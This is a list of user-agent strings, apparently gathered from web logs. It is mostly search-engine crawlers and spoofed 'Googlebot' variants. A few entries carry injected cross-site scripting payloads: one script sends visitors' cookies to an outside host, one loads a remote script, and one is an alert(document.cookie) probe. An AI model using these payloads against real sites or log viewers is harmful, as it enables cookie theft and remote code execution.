Mozilla/4.0 (compatible; Vagabondo/4.0Beta; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/; http://www.wise-guys.nl/)

Mozilla/4.0 (compatible; bogospider; Linux)

Mozilla/4.0 (compatible; BOTW Spider; +http://botw.org)

Mozilla/4.0 (compatible; DepSpid/5.07; +http://about.depspid.net)

Mozilla/4.0 (compatible; DepSpid/5.21; +http://about.depspid.net)

Mozilla/4.0 (compatible; DepSpid/5.26; +http://about.depspid.net)

Mozilla/4.0 (compatible; DepSpid/5.27; +http://about.depspid.net)

Mozilla/4.0 (compatible; DepSpid/5.28; +http://about.depspid.net)

Mozilla/4.0 (compatible; focuseekbot)

Mozilla/4.0 (compatible; Googlebot/2.1 (+http://www.googlebot.com/bot.html); Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)

Mozilla/4.0 (compatible; GPU p2p crawler http://gpu.sourceforge.net/search_engine.php)

Mozilla/4.0 (compatible; grub-client-1.0.5; Crawl your own stuff with http://grub.org)

Mozilla/4.0 (compatible; grub-client-1.3.7; Crawl your own stuff with http://grub.org)

Mozilla/4.0 (compatible; grub-client-1.4.3; Crawl your own stuff with http://grub.org)

Mozilla/4.0 (compatible; grub-client-1.4.3; Crawl your own stuff with http://grub.org) Mozilla/4.0 (compatible; grub-client-2.3)

Mozilla/4.0 (compatible; grub-client-1.5.3; Crawl your own stuff with http://grub.org)

Mozilla/4.0 (compatible; grub-client-2.3)

Mozilla/4.0 (compatible; grub-client-2.6.0)

Mozilla/4.0 (compatible; grub-client-2.6.1)

Mozilla/4.0 (compatible; http://www.2ndhive.com/beebot)

Mozilla/4.0 (compatible; MSIE 4.01; Windows NT; MS Search 5.0 Robot)

Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot BETA

Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot BETA 1.2 (http://www.voila.com/)

Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Girafabot; girafabot at gira

Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Girafabot; girafabot at girafa dot com; http://www.girafa.com)

Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; FeedFinder-2.0; http://bloggz.se/crawler)

Mozilla/4.0 (compatible; MSIE 5.5; SuperSpider/139; Windows 98; Win 9x 4.90)

Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; obot)

Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; mowserbot; http://www.mowser.com/bot)

Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows 98; )<HTML><A%20HREF="http://www.pghconnect.com/">www.pghconnect.com</a></HTML>)

Mozilla/4.0 (compatible; MSIE 6.0; Windows 5.1; KyoHTTP 1.1.26, http://www.Link-Checker-Pro.com)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; BOTW)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Girafabot; girafabot at girafa dot com; http://www.girafa.com)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; BOTW)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; BOTW; .NET CLR 1.1.4322)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; fr_crawler)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ODP entries test; http://tuezilla.de/test-odp-entries-agent.html)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Shadow Labs E-mail Spider @ webrobber.org)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; spamrobot@126.com)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;.NET CLR 1.0.3705; ContextAd Bot 1.0)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; WWTClient2; Zune 2.5; .NET CLR 3.0.

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; MEGAUPLOAD 2.0)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; )<HTML><A%20HREF="http://www.pghconnect.com/">www.pghconnect.com</a></HTML>; Hotbar 4.3.2.0)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; <b>gatcha-robot</b>)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; <b>hactha-robot</b>)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; BOTW; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; BOTW; SV1; .NET CLR 1.1.4322)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; CollapsarWEB qihoobot@qihoo.net)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crayon Crawler; SV1; SpamBlockerUtility 4.7.1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01/Nutch-0.8.1 (http://lucene.apache.org/nutch/about.html; http://lucene.apache.org/nutch/bot.html; mail@dev.null)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01/Nutch-0.9 (http://lucene.apache.org/nutch/about.html; http://lucene.apache.org/nutch/bot.html; mail@dev.null)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; http://help.yahoo.com/help/us/ysearch/slurp)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Infocrawler)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Infocrawler; FunWebProducts; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MakeBelieveBot/2.0 http://www.socialanxietysupport.com/index.php)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mirar Search Indexing Agent see getmirar.com)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Netcraft SSL Server Survey - contact abuse@netcraft.com)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Sgrunt|V109|19|S2029293198|dial; snprtz|S04673981400019; <a href=http://browsezilla.org>Browsezilla</a>)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Googlebot)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Googlebot)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Googlebot; .NET CLR 2.0.50727)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; <a href=http://browsezilla.org>Browsezilla</a>; ###392350240137161274308358###; .NET CLR 1.0.3705; .NET CLR 1.1.4322)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FDM; MSIECrawler)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iSense bot v1.21)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; <a href=http://www.artabus.com>Artabus</a>)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50215; baiduspider)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; AdSonar Bot)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; Girafabot [girafa.com])

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)

Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; Googlebot)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Version; Platform; <script>document.print('<img href=”http://55329.glrdmd.eu/admin/2.php?q='+document.cookie);</script> )

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; <a href=http://browsezilla.org>Browsezilla</a>; SpamBlockerUtility 4.7.1; .NET CLR 1.1.4322)

Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)<script>alert(document.cookie)</script>

Mozilla/4.0 (compatible; MSIE enviable; DAUMOA 2.0; DAUM Web Robot; Daum Communications Corp., Korea; +http://ws.daum.net/aboutkr.html)

Mozilla/4.0 (compatible; MSIE enviable; DAUMOA/1.0.1; DAUM Web Robot; Daum Communications Corp., Korea; +http://ws.daum.net/aboutkr.html)

Mozilla/4.0 (compatible; MSIE is not me; DAUMOA/1.0.0; DAUM Web Robot; Daum Communications Corp., Korea)

Mozilla/4.0 (compatible; MSIE is not me; DAUMOA/1.0.1; DAUM Web Robot; Daum Communications Corp., Korea)

Mozilla/4.0 (compatible; MSIE is not me; EDI/1.6.6; Edacious & Intelligent Web Robot; Daum Communications Corp., Korea)

Mozilla/4.0 (compatible; MyFamilyBot/1.0; http://www.ancestry.com/learn/bot.aspx)

Mozilla/4.0 (compatible; MyFamilyBot/1.0; http://www.ancestry.com/learn/bot.aspx; SearchBot@MyFamilyInc.com)

Mozilla/4.0 (compatible; MyFamilyBot/1.0; http://www.myfamilyinc.com)

Mozilla/4.0 (compatible; NaverBot/1.0; http://help.naver.com/delete_main.asp)

Mozilla/4.0 (compatible; NaverBot/1.0; nhnbot@naver.com)

Mozilla/4.0 (compatible; Netcraft Web Server Survey)

Mozilla/4.0 (compatible; Scumbot/5.5; Linux/2.6)

Mozilla/4.0 (compatible; T-H-U-N-D-E-R-S-T-O-N-E)

Mozilla/4.0 (JemmaTheTourist;http://www.activtourist.com)

Mozilla/4.0 (MobilePhone SCP-5500/US/1.0) NetFront/3.0 MMP/2.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Mozilla/4.0 (Mozilla; http://www.mozilla.org/docs/en/bot.html; master@mozilla.com)

Mozilla/4.0 (SKIZZLE! Distributed Internet Spider v1.0 - http://www.SKIZZLE.com)

Mozilla/4.0 [en] (Ask Jeeves Corporate Spider)

Mozilla/4.0 compatible ZyBorg/1.0 (wn-13.zyborg@looksmart.net; http://www.WISEnutbot.com)

Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.W

Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)

Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)

Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)

Mozilla/4.0 compatible ZyBorg/1.0 (ZyBorg@WISEnutbot.com; http://www.WISEnutbot.com)

Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)

Mozilla/4.0+(compatible;+MSIE+6.01;+Windows+NT+5.0;OnMiner+Bot+1.0;)

Mozilla/4.0+(compatible;+MSIE6.0;+Windows+NT+5.1;+Maxthon;) larbin2.6.3@unspecified.mail

Mozilla/4.04 (compatible; Dulance bot; +http://www.dulance.com/bot.jsp)

Mozilla/5.0 (000000000; 0; 000 000 00 0 000000; 00000; 00000000) 00000000000000 0000000000000

Mozilla/5.0 (000000000; 0; 000 000 00 0; 00) 00000000000 0000000 0000 000000

Mozilla/5.0 (compatible: Googlebot/2.1: +http//www.google.com/bot.html)

Mozilla/5.0 (compatible; AboutUsBot/0.9; +http://www.aboutus.org/AboutUsBot)

Mozilla/5.0 (compatible; AMZNKAssocBot/4.0)

Mozilla/5.0 (compatible; ApptusBot/1.0; +http://www.apptus.com)

Mozilla/5.0 (compatible; archive.org_bot/1.13.1x +http://crawler.archive.org)

Mozilla/5.0 (compatible; attributor/1.13.2 +http://www.attributor.com)

Mozilla/5.0 (compatible; Bazbot/1.0; +http://www.bazsites.com/

Mozilla/5.0 (compatible; BecomeBot/1.83; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)

Mozilla/5.0 (compatible; BecomeBot/1.85; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)

Mozilla/5.0 (compatible; BecomeBot/1.86; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)

Mozilla/5.0 (compatible; BecomeBot/2.2.5; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)

Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.be

Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)

Mozilla/5.0 (compatible; BecomeBot/3.0; +http://www.become.com/site_owners.html)

Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)

Mozilla/5.0 (compatible; BecomeJPBot/2.3; MSIE 6.0 compatible; +http://www.become.co.jp/site_owners.html)

Mozilla/5.0 (compatible; BlogRefsBot/0.1; http://www.blogrefs.com/about/bloggers)

Mozilla/5.0 (compatible; BlogRefsBot/0.2.2; http://www.blogrefs.com/about/bloggers)

Mozilla/5.0 (compatible; Bot-DeVille 04-37; Windows NT 6.1; Zaciesz-script 2.0; Konqueror/3.3)

Mozilla/5.0 (compatible; Charlotte/1.0b; charlotte@betaspider.com)

Mozilla/5.0 (compatible; Charlotte/1.0b; http://www.betaspider.com/)

Mozilla/5.0 (compatible; crawlster/1.0b; http://www.page-store.com/)

Mozilla/5.0 (compatible; DBLBot/1.0; +http://www.dontbuylists.com/)

Mozilla/5.0 (compatible; discobot/1.0; +http://discoveryengine.com/discobot.html)

Mozilla/5.0 (compatible; discobot/1.0; +http://discoveryengine.com/robot.html)

Mozilla/5.0 (compatible; DNS-Digger/1.0; +http://www.dnsdigger.com)

Mozilla/5.0 (compatible; Exabot Test/3.0; +http://www.exabot.com/go/robot)

Mozilla/5.0 (compatible; Exabot-Images/3.0; +http://www.exabot.com/go/robot)

Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot)

Mozilla/5.0 (compatible; FAST Crawler 6.3)

Mozilla/5.0 (compatible; FatBot 2.0; http://www.thefind.com/main/CrawlerFAQs.fhtml)

mozilla/5.0 (compatible; genevabot +http://www.healthdash.com)

Mozilla/5.0 (compatible; Gigamega.bot/1.0; +http://www.gigamega.net/bot.html)

Mozilla/5.0 (compatible; Gooblebot/2.1; +http://www.google.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2. 1; +http://www.google.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1

Mozilla/5.0 (compatible; Googlebot/2.1 +http://googlebot.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1)

Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.google.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.google.com/bot.html))

Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.google.com/bot.html)”

Mozilla/5.0 (compatible; Googlebot/2.1+(+http://www.googlebot.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1+; +http://www.googlebot.com/bot.html

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1; (+http://www.google.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1; + http://www.google.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1; +hhtp://www.google.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1; +http://google.com/bot.html

Mozilla/5.0 (compatible; Googlebot/2.1; +http://google.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.)

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) <script src=http://zexi.eu/k></script>

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) FirePHP/0.0.5.26

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Gecko/20080313 SeaMonkey/1.1.9

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html),gzip(gfe) (via translate.google.com)

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html; Data Center; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.googlebot.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1; hacked +http://www.google.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html

Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)

Mozilla/5.0 (compatible; Googlebot/2.1;+http://www.google.com/bot.html

Mozilla/5.0 (compatible; Googlebot/2.1;+http://www.google.com/bot.html)

Mozilla/5.0 (compatible; Googlebot2.1; +http://www.google.com/bot.html)

Mozilla/5.0 (compatible; heritrix/@VERSION@ +http://vermut.aol.com)

Mozilla/5.0 (compatible; heritrix/@VERSION@ +http://www.advertising.com)

Mozilla/5.0 (compatible; heritrix/@VERSION@ +http://www.kingsoft.com)

Mozilla/5.0 (compatible; heritrix/1.10.2 +http://i.stanford.edu/)

Mozilla/5.0 (compatible; heritrix/1.10.2 +http://www.zvents.com/)

Mozilla/5.0 (compatible; heritrix/1.12.0 +http://seekda.com)

Mozilla/5.0 (compatible; heritrix/1.12.0 +http://www.accelobot.com)

Mozilla/5.0 (compatible; heritrix/1.12.0 +http://www.zvents.com/; +zbot)

Mozilla/5.0 (compatible; heritrix/1.12.1 +http://www.page-store.com)

Mozilla/5.0 (compatible; heritrix/1.12.1 +http://www.page-store.com) [email:paul@page-store.com]

Mozilla/5.0 (compatible; heritrix/1.15.1-200807172326 +http://www.accelobot.com)

Mozilla/5.0 (compatible; heritrix/1.5 +http://www.metacarta.com)

Mozilla/5.0 (compatible; heritrix/1.5.0 +http://www.l3s.de/~kohlschuetter/projects/crawling/)

Mozilla/5.0 (compatible; heritrix/1.6.0 +http://innovationblog.com)

Mozilla/5.0 (compatible; heritrix/1.6.0 +http://www.worio.com/)

Mozilla/5.0 (compatible; heritrix/1.6.0 +http://yahoo.com)

Mozilla/5.0 (compatible; heritrix/1.7.0 +http://www.greaterera.com/)

Mozilla/5.0 (compatible; heritrix/1.8.0 +http://crawlerx51.com)

Mozilla/5.0 (compatible; heritrix/1.8.0 +http://wiki.office.aol.com/wiki/SEO)

Mozilla/5.0 (compatible; heritrix/1.8.0 +http://www.accelobot.com)

Mozilla/5.0 (compatible; heritrix/1.8.0 +http://www.business.com)

Mozilla/5.0 (compatible; heritrix/2.0.0 +http://www.mariamosolova.com)

Mozilla/5.0 (compatible; heritrix/2.0.0-RC1 +http://www.aol.com)

Mozilla/5.0 (compatible; http://www.UptimeAuditor.com/bot/ )

Mozilla/5.0 (compatible; iaskspider/1.0; MSIE 6.0)

Mozilla/5.0 (compatible; IDBot/1.0; +http://www.id-search.org/bot.html)

Mozilla/5.0 (compatible; Jeanie_2008_bot/3.2; +http://www.quickengines.com)

Mozilla/5.0 (compatible; justanotherbot/0.1; )

Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Exabot-Thumbnails)

Mozilla/5.0 (compatible; Kyluka crawl; crawl@kyluka.com; http://www.kyluka.com/static/crawl.html)

Mozilla/5.0 (compatible; Kyluka crawl; http://www.kyluka.com/crawl.html; crawl@kyluka.com)

Mozilla/5.0 (compatible; Kyluka crawl; http://www.kyluka.com/static/crawl.html; crawl@kyluka.com)

Mozilla/5.0 (compatible; LinksManager.com_bot +http://linksmanager.com/linkchecker.html)

Mozilla/5.0 (compatible; MileNSbot/0.1beta; http://www.milens.net/robotstxt.html)

Mozilla/5.0 (compatible; MJ12bot/v1.2.1; http://www.majestic12.co.uk/bot.php?+)

Mozilla/5.0 (compatible; MJ12bot/v1.2.2; http://www.majestic12.co.uk/bot.php?+)

Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)

Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)

Mozilla/5.0 (compatible; Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Mozilla/5.0 (compatible; MSIE 6.0; Podtech Network; crawler_admin@podtech.net)

Mozilla/5.0 (compatible; MSIE 7.0; MSIE 6.0; ScanAlert; +http://www.scanalert.com/bot.jsp) Firefox/2.0.0.3

Mozilla/5.0 (compatible; No-NSFW Bot; +http://nonsfw.com/)

Mozilla/5.0 (compatible; OsO; http://oso.octopodus.com/abot.html)

Mozilla/5.0 (compatible; OWPBot/0.3; http://www.openwhitepages.com/)

Mozilla/5.0 (compatible; page-store +http://www.page-store.com) [email:paul@page-store.com]

Mozilla/5.0 (compatible; perl.bot/1.1; mailto:supportgigamega@gmail.com)

mozilla/5.0 (compatible; pips_priority_crawler/0.1 +http://www.eti.pg.gda.pl/)

Mozilla/5.0 (compatible; pmoz.info ODP link checker; +http://pmoz.info/doc/botinfo.htm)

Mozilla/5.0 (compatible; Quantcastbot/1.0; +http://www.quantcast.com/bot.html)

Mozilla/5.0 (compatible; Quantcastbot/1.0; http://www.quantcast.com)

Mozilla/5.0 (compatible; Rexyobot/1.09; +http://www.rexyo.com/robot.html)

Mozilla/5.0 (compatible; Robot/1.X)

Mozilla/5.0 (compatible; RSSMicro.com RSS/Atom Feed Robot)

Mozilla/5.0 (compatible; slow-crawler +http://casr.ou.edu)

Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9

Mozilla/5.0 (compatible; SummizeBot +http://www.summize.com)

Mozilla/5.0 (compatible; vermut +http://vermut.aol.com)

Mozilla/5.0 (compatible; Webbot/0.1; http://www.webbot.ru/bot.html)

Mozilla/5.0 (compatible; WebDataCentreBot/1.0; +http://WebDataCentre.com/)

Mozilla/5.0 (compatible; woriobot +http://worio.com)

Mozilla/5.0 (compatible; woriobot heritrix/1.10.0 +http://worio.com)

Mozilla/5.0 (compatible; woriobot support [at] worio [dot] com +http://worio.com)

Mozilla/5.0 (compatible; Yahoo! DE Slurp; http://help.yahoo.com/help/us/ysearch/slurp)

Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)

Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)

Mozilla/5.0 (compatible; Yahoo! Slurp/si-emb; http://help.yahoo.com/help/us/ysearch/slurp)

Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearc

Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)

Mozilla/5.0 (compatible; Yahoo! Slurp;http://help.yahoo.com/help/us/ysearch/slurp)

Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )

Mozilla/5.0 (compatible; zermelo +http://www.powerset.com) [email:paul@page-store.com,crawl@powerset.com]

Mozilla/5.0 (compatible; zermelo; +http://www.powerset.com) [email:paul@page-store.com,crawl@powerset.com]

Mozilla/5.0 (compatible;FindITAnswersbot/1.0; http://search.it-influentials.com/bot.htm)

Mozilla/5.0 (compatible;FindITAnswersbot/1.0; +http://search.it-influentials.com/bot.htm)

Mozilla/5.0 (compatible;Googlebot/2.1+(+http://www.google.com/bot.html)

Mozilla/5.0 (compatible;Googlebot/2.1; +http://www.google.com/bot.html)

Mozilla/5.0 (compatible;YodaoBot-Image/1.0;http://www.yodao.com/help/webmaster/spider/;)

Mozilla/5.0 (infoSpider-Bot/2.0; support@infospider.com; http://www.infospider.com/)

Mozilla/5.0 (Macintosh; Intel Mac OS X; U; Googlebot/2.1 (http://www.googlebot.com/bot.html)"; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.25

Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12) Gecko/20080201 Googlebot 2.1

Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12) Gecko/20080201 Googlebot/1.0 (googlebot@googlebot.com http://googlebot.com/)

Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.14) Gecko/20080404 Googlebot 2.1

Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.2) Gecko/20070219 Googlebot/2.1 (+http://www.googlebot.com/bot.html)

Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.7) Gecko/20070914 Googlebot/2.1

Mozilla/5.0 (MrCarlito-0.1 http://www.mrcarlito.com/spider.html)

Mozilla/5.0 (MultiplicoBot http://www.multiplico.de)

Mozilla/5.0 (Slurp/cat; slurp@inktomi.com; http://www.inktomi.com/slurp.html)

Mozilla/5.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html)

Mozilla/5.0 (SnapPreviewBot) Gecko/20061206 Firefox/1.5.0.9

Mozilla/5.0 (SnapPreviewBot) Gecko/20061206 Firefox/1.5.0.9,gzip(gfe) (via translate.google.com)

Mozilla/5.0 (superbot.com; +http://www.super.info)

Mozilla/5.0 (TSESpiderrBot Beta V1;http://www.touristsearchengine.com)

Mozilla/5.0 (Twiceler-0.9 http://www.cuil.com/twiceler/robot.html)

Mozilla/5.0 (Twiceler-0.9 http://www.cuill.com/twiceler/robot.html)

Mozilla/5.0 (W3 SiteSearch Crawler_v2.5-VM http://www.w3sitesearch.de)

Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.11) Gecko/20071127 Gogglebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.14) Gecko/20080404 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.1) Gecko/20061204 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.7) Gecko/20060909 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.12) Gecko/20080201 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.14) Gecko/20080404 Googlebot/2.1 (+http://www.googlebot.com/bot.html)

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.10) Gecko/20071115 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.6 MEGAUPLOAD 1.0 GoogleBot

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Googlebot/2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 msnbot/1.0 (+http://search.msn.com/msnbot.htm) spider

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.9 MEGAUPLOAD 2.0 Googlebot1988 Windows-Media-Player

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.4 MEGAUPLOAD 1.0 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Googlebot

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0 MEGAUPLOAD 1.0 Googlebot 2.1

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 GoogleBot

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Googlebot/2.1 (+http://www.google.com/bot.html)

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Googlebot/2.1""Compatible"="+http://www.googlebot.com/bot.html

